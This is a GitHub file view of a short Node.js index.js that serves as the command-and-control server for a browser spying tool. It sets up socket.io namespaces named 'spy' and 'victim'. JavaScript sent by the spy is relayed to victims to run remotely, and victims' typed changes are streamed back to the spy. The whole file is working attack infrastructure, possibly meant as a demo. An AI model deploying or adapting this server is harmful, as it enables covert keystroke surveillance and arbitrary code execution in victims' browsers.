-
Notifications
You must be signed in to change notification settings - Fork 38
/
Copy pathindex.js
44 lines (35 loc) · 1.04 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
var path = require('path'),
express = require('express'),
app = express(),
server = require('http').Server(app),
io = require('socket.io')(server),
spy,
victim;
app.use(express.static(path.join(__dirname, 'public')));
spy = io
.of('/spy')
.on('connection', function(socket){
console.log('a spy connected ');
socket.on('remoteJs', function(js){
console.log('spy/remoteJs:', js);
victim.emit('runRemoteJs', js);
});
socket.on('disconnect', function(){
console.log('spy disconnected');
});
});
victim = io
.of('/victim')
.on('connection', function(socket){
console.log('a victim connected');
socket.on('update', function(change){
console.log('victim/type:', change);
spy.emit('update', change);
});
socket.on('disconnect', function(){
console.log('victim disconnected');
});
});
server.listen(3000, function(){
console.log('listening on *:3000');
});